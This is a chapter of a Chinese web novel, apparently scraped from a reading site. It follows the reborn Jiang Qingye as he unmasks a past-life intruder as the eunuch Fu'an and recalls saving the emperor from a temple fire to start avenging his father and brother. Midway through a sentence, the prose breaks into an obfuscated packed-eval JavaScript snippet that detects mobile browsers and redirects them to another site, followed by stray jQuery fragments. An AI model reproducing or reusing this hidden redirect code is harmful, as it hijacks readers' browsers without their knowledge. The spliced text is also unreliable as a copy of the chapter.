默认冷灰
24号文字
方正启体

78.青野往事

作者:不借春本书字数:K更新时间:
    拦住邓知州有什么本事,既然这位贤妃娘娘想请动陛下,那他就釜底抽薪,直接拦住陛下好了。


    姜青野候在垂拱殿下,静静看着海东青盘旋三圈,越过垂拱殿的挺立的脊兽,振翅而去。


    前世从诏狱里爬出来的养病的那些日子,他只做了研究陛下这一件事,论对官家的了解,他都未必会输给陛下倚重的那位太傅,更遑论是新入宫的贤妃了。


    现在只看忠心护主的福安公公的脚程够不够快了。


    姜青野捻着腰间的佩玉,想起了前世那个入他府窥探他的蒙面黑衣人,手上功夫极其狠辣,招招攻他要害却又处处手下留情,在陛下跟前露脸后还没遇见过能将他逼得拿起兵器的对手,那人自然不敌他的枪,但那人步法身形轻盈,最后拽走了他的家传玉佩。


    临走还撂下狠话说敢夜夜笙歌左拥右抱便来取他首级,却昙花一现般地只出现了一次,再未来过,哪怕他自那之后也并未严加防范。


    他明里暗里试探过许多人,都没头绪,那人就像是偶发兴致的游侠,乘兴而来,兴尽而归。


    后来诸事繁杂,这微不足道的一页自然而然地被他揭过去了,也渐渐淡忘。


    直到今生,他与福安公公一同送杨家杂碎下狱,他才又在福安身上看到了那一路擒拿手,以手为爪,断筋挫骨,前世就是这一手,几乎抓烂了他的前襟,若不是他躲得快,而这人又留手,只怕不只是碎件衣服那么简单。


    那一瞬间,他想通了很多事。


    比如,这小公公夜探他府,并不是为了党争攻讦,也不是游侠自以为是地为民请命,只是小内侍在替自己的主子打抱不平,所以才很矛盾地出手狠却又不真的伤人。


    分寸尺度,拿捏得极好。


    再比如,他的佩玉,最后应当是落在悬黎手里了,家传的饰物,最终还是阴差阳错地到了该到的地方。


    怪不得,前世有那么一段时间,悬黎见到他总是欲言又止,有眼可查的纠结。


    他当时以为,是小郡主不赞同他在朝中的行事作风,想劝他息事宁人,虽然最终悬黎还是什么都没说,他也还是低调了一些日子。


    不为旁的,只是不想见到那双漂亮的眼睛里流露出来的是对旁人的同情和对自己的痛惜。


    他甚至还想过,在萧氏一族这不堪的皇室之中,竟然还能养出萧悬黎这样的方正刚直的好女子,是萧家祖坟冒青烟,歹竹出好笋,算萧氏一脉,命不该绝。


    被那么多人放在心上的萧悬黎,心上放着他,单凭这一点,足以叫他心甘情愿地粉身碎骨。


    更何况,萧悬黎为他,可不止这一点啊。


    天边的海东青露了个头,低鸣一声,唤回了姜青野的心神。


    紧随着振翅之声来的,是一阵凌乱无序的脚步声。


    姜青野恰到好处的抬眼,陛下面色不虞地从垂花门后踏出来。


    萧风起,人如其名,看似四平八稳,实则一点就着。


    这是姜青野第二次看到这样的萧风起。


    第一次是在前世,明令十七年的祭天南郊大礼时。


    南郊大礼前三日,汴京城的风里都裹着肃杀。


    太庙朱红宫墙下,只能在禁军中忝列末席的姜青野拢了拢身上半旧的青布襕衫,衣摆扫过青砖时,露出腕上一道浅疤——那是在诏狱中被人鞭打还未褪去的伤痕。


    他站在禁军队伍里,垂目落在祭天用的苍璧上,余光却精准地盯住了百官中央那抹紫色官袍上。


    已入中枢的钟璩正躬身与官家说话,腰间金鱼袋晃得人眼晕。姜青野喉间发紧,指甲掐进掌心。


    正是这深蒙圣恩的钟宰辅递上的陈情折子,赞同赖志忠说他父亲延误战机,指挥失当,误国深矣。


    他的兄长驰援赖志忠却被围至死,满身污名再也无法洗脱。


    他随父出征,却最终只能看着父亲战死沙场,连尸骨都被敌军弃在荒野。


    袖手旁观的朝臣,此刻正穿着簇新的朝服,踩着他父兄和北境亡魂的骨血,在这太庙深处谈笑风生,等着明日祭天耀功。


    他心中再多恨,都只能和血吞下,咬着牙站在殿外苟活。


    官家按礼制宿于太祖殿侧斋宫斋戒,入夜后,太庙的灯次第暗下去,只剩斋宫与各殿的长明灯摇曳。姜青野借着巡夜的由头,绕到斋宫后墙,指尖抚过那架年久失修的窄梯——这是他前日借口检修宫墙,特意记下的路径。


    他要等一个机会,一个能让他站到官家面前,撕开这些人皮的机会。


    三更梆子敲过第三响时,太祖殿脊上突然窜起火星。起初只是豆大的光点,被夜风一卷,转瞬便成了焰舌,“噼啪”啃噬着檐木的声响在寂静里格外刺耳。


    “走水了!”不知是谁先喊了一声,这一声如沸水入滚油,迅速炸开,禁军们提桶拿梯地涌来,却在靠近斋宫时被几个内侍拦住:“官家还在里面!没旨意谁敢擅动?不要命了吗?”


    浓烟呛得人睁不开眼,姜青野看见钟璩的亲信正站在廊下发号施令,实则有意无意地挡着通往斋宫的正门。


    姜青野冷笑一声,转身抄起墙角的短梯,三步并作两步冲到后墙。这梯比他前日见时更晃,踏板朽得快断,他却毫不在意,踩着梯级往上攀时,襕衫下摆被火星燎了个洞,他抬手一掸,只盯着斋宫后窗。


    “官家!后窗可出!”他扬声高喊,声音穿透烟火,撞在斋宫窗纸上。窗内烛火猛地一晃,官家的身影映在窗上,显然已被浓烟困住。姜青野爬到梯顶,俯身抓起墙根的半截青砖,猛地砸向窗棂——“哐当”一声,木框碎裂,他探身进去,正撞见官家身边的内侍慌得打翻了烛台。


    “官家,跟我来!”姜青野伸手去扶,掌心的茧子蹭过官家的龙袍袖口。


    官家咳嗽着抓住姜青野的胳膊,哪怕是天子,在这一刻,也没什么天家威仪可讲,陛下瞧着虽瘦,只剩求生的意志驱使着,一双手紧紧抓着他,扯得他微微皱眉。


    就在此时,头顶一根燃着的横梁“咔嚓”一声断裂开来,带着火团直砸下来,姜青野眼疾手


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16229703|172984||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    快,拽着官家往窗边一扑,自己后背撞上窗框,灼痛紧追而至,疼得他头上冒汗,他却半分都没有迟疑。


    “快接住官家!”他朝着墙下喊,禁军这时已冲破阻拦赶到,七手八脚将官家从窗口接了下去。姜青野松了手,才觉后背的皮肉像被火烧着疼,他扶着窗框喘了口气,低头时,看见自己襕衫后背已焦黑一片。


    火灭时天已微亮,太庙东侧殿宇成了焦墟。官家立于废墟前,文武百官跪在地上请罪,言辞间尽是推诿。


    姜青野站在人群后,低垂着眸,背上的伤痛也浑不在意,灵魂仿佛飘荡在半空,冷眼瞧着没骨头的朝臣唱念做打,在萧风起面前乞怜。


    “昨夜是谁救了朕?”官家忽然开口,目光扫过众人。


    姜青野上前一步,撩衣跪地,声音不高却清晰:“罪臣姜青野,参见陛下。”


    “姜青野......”官家面上闪过一丝不自在,却不错眼地盯着他,见他虽灰头土脸,虽遭逢巨变,却并未恶毒怨怼,也未自怨自艾,而是不卑不亢行礼问安,又念及这人方才救驾,沉声道:“你可知方才那一下,稍有不慎便是粉身碎骨?”


    "罪臣知道。"他抬起头,眉骨处还沾着烟灰,眼底却藏着未熄的火,“姜府祖训,是忠君爱国,罪臣一日不敢忘怀,罪臣父兄为大凉战死,尸骨未归。罪臣今日救驾,不求封赏,只求陛下容罪臣收敛尸骨入坟归葬。"


    这话一出,钟璩脸色骤变,膝头微微发颤。


    而官家看着眼前这与先前判若两人的郎君,他后背焦黑的衣料下隐约渗出血迹,眼神却比太庙的铜鼎还沉。


    片刻后,官家颔首:"你有胆识,亦有骨血。朕赦你无罪,无需再自称罪臣了,只是你父兄的事,还需斟酌,但朕念你救驾有功,三日后,随朕入紫宸殿。"


    姜青野深深叩首,额头抵着青砖的刹那,唇角勾起一抹极淡的嘲讽弧度。


    父兄的冤屈一日不雪,他便一日不会停下。如今这朝堂的门已为他裂开一道缝,那些藏在紫宸殿阴影里的人,该从这阴影里爬出来,做好承受这来自十八层地狱的业火的准备了。


    前世的事虽已经过去许多年,姜青野却依旧记忆犹新,深刻地记着那并不快慰的复仇。


    因为仇人虽然一个接一个地死在他的刀下,可他的父兄和北境的同袍,却再也不会同他并肩作战谈笑风生了。


    姜青野再次垂下头去,掩住了自己的嘲讽。


    陛下烦躁地挥手,“到了这时候,不必在意这些虚礼,你随朕进殿来。”


    姜青野不疾不徐地跟在陛下身后,长臂垂下,手在袖中比了个手势,垂花门后的衣角便不见了。


    “你说的可是真的?”才一进殿陛下便迫不及待地质问姜青野。


    姜青野呈上一方素帛,“不敢欺瞒陛下,若非事实如此,臣无论如何都是要避嫌的,哪能呈到陛下跟前。”


    高德宝迈着碎步接过姜青野手中的布帛呈给陛下,上头血迹斑斑,记录着一桩高官欺民的侵地案。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)